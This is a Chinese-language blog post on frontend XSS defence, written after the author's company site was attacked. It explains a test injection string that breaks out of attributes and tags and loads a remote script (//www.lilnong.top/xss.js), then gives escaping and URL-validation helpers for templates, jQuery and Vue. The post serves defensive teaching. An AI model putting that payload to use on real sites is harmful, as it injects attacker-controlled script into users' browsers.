前端安全之xss攻击

简介: 前段时间公司网页被 xss 搞了一下,微信把域名封了,通宵搞了好几天。这两天把公司好几年来的代码都改了一遍,这工作丧心病狂。

什么是 xss?


XSS 攻击指通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的代码。


危害有什么?


  1. 跳转到广告页面,页面注入广告等等。


  1. 导致公司域名被其他平台拉黑,从而使业务受损。


  1. 用户的财产受到威胁,他注入的代码可以在网页中任意请求接口。


注入代码


http://upcdn"'></script><script src="//www.lilnong.top/xss.js"></script><script>alert(12306)</script><svg></svg>\n\t\n


上面的代码是我们测试的时候使用的,接下来我们来分析一下这个代码主要用途。


  1. http://upcdn这个字符串是用来伪装的。


  • <img src="${str}"> 动态拼接图片地址
  • <a href="${str}"> 动态跳转页面地址


  1. "'>这两个就是为了截断当前字符串,然后闭合标签。
  • <img src="${str}">


  1. </script>也是为了闭合标签,这个主要用在后台模板输出的时候。后台模板 velocity、freemarker 之类的。
  • <script>var imgUrl = ${str}</script>


  1. <script src="//www.lilnong.top/xss.js"></script> 就是引入一个js,这种方式比较常见。注入之后,攻击者只需要修改自己的文件,就可以更新了。


  1. <script>alert(12306)</script> 直接执行js代码


  1. <svg></svg> 注入一个元素,用于展示一个异常块打乱布局。比如 vue 中的 v-html 不会执行 script 标签中的内容,但是会显示 svg 图片。


  1. \n\t\n 是为了测试后台模板输出的场景。


防护场景及方案


后台模板


  1. toHtml主要用于输出在页面(标签中)中,将用户输入的内容进行编码比如<转换为&lt;


  • <span>${nickanme}</span>


  1. toJS 主要用于输出在script标签中,这里需要防止打断js,比如处理成"'\n\"\'\\n


  1. toUrl这里其实和toHtml场景很像,但是需要判断url基础格式。


  • https://
  • //lilnong.top
  • /static
  • ./static
  • ../static


jquery&原生js


  1. toHtml 场景。jquery中基本上都是拼接一下,然后 .html 输出一下。这里需要做的也是把用户输入的做一下实体编码转换。


  1. toUrl 场景。校验一下url,然后 toHtml 或者 encode 都可以。


vue


  1. toHtml 场景。v-html 这里需要注意一下,尽可能不要使用,因为会导致注入问题。也可以toHtml一下,但是没必要不是吗。


  1. toUrl 场景。:href 主要 javascript:alert(1);这种场景,做url校验就可以。


  1. toHtml 场景。使用原生的方法,vue 中非要 innerHTML的那些人。


常见问题


富文本场景


  1. 做文章那种,大量的标签,属性。这种一般需要后端处理。HTML Purifier


  1. 文字加表情,后者搜索高亮的场景。这种我们可以先执行toHtml,然后再匹配替换,最后在输出到页面即可。


换行符问题


有时我们在textarea中输入\n,渲染的时候空白符就被浏览器给吃了。针对这种情况,我们可以用下面的方案处理


  1. 通过 css 属性 white-space,或者 <pre> 标签


  1. 一般人们是正则替换.replace(/\n/g,'<br>),这种输出的时候万一里面有代码不就凉了吗。所以我们先 toHtml 然后在使用,这样可以防止注入问题。


  1. 其实 .innerText 可以自动把\n转换为<br>,你可以自己试试


代码实现


window.base = {
    toHtml: function (val) {
        if( typeof val != 'string' ) return '';
        var entityMap = {
            "&": "&amp;",
            "<": "&lt;",
            ">": "&gt;",
            '"': '&quot;',
            "'": '&#39;',
            "/": '&#x2F;'
        };
        return String(val).replace(/[&<>"'\/]/g, function (s) {
            return entityMap[s];
        });
    },
    toUrl: function (url) {
        if( typeof url != 'string' ) return '#';
        if(url.match(/^http/i)){
            return encodeURI(url)
        }
        return '#'
    },
};


相关文章
|
2月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
24 0
|
15天前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
|
8天前
|
存储 安全 JavaScript
【PHP开发专栏】PHP跨站脚本攻击(XSS)防范
【4月更文挑战第30天】本文探讨了Web开发中的XSS攻击,解释了其原理和分类,包括存储型、反射型和DOM型XSS。XSS攻击可能导致数据泄露、会话劫持、网站破坏、钓鱼攻击和DDoS攻击。防范措施包括输入验证、输出编码、使用HTTP头部、定期更新及使用安全框架。PHP开发者应重视XSS防护,确保应用安全。
|
23天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。
|
2月前
|
安全 JavaScript 前端开发
Low 级别反射型 XSS 演示(附链接)
Low 级别反射型 XSS 演示(附链接)
|
2月前
|
存储 JavaScript 前端开发
DOM 型 XSS 演示(附链接)
DOM 型 XSS 演示(附链接)
|
2月前
|
存储 前端开发 JavaScript
存储型 XSS 攻击演示(附链接)
存储型 XSS 攻击演示(附链接)
|
2月前
|
存储 前端开发 JavaScript
反射型 XSS 攻击演示(附链接)
反射型 XSS 攻击演示(附链接)
|
3月前
|
存储 安全 JavaScript
HW常见攻击方式 --XSS跨站脚本攻击
HW常见攻击方式 --XSS跨站脚本攻击
41 0
|
3月前
|
前端开发 JavaScript 网络安全
【网络安全XSS必知 | 前端开发基础】一篇文章速学 HTML
【网络安全XSS必知 | 前端开发基础】一篇文章速学 HTML
55 0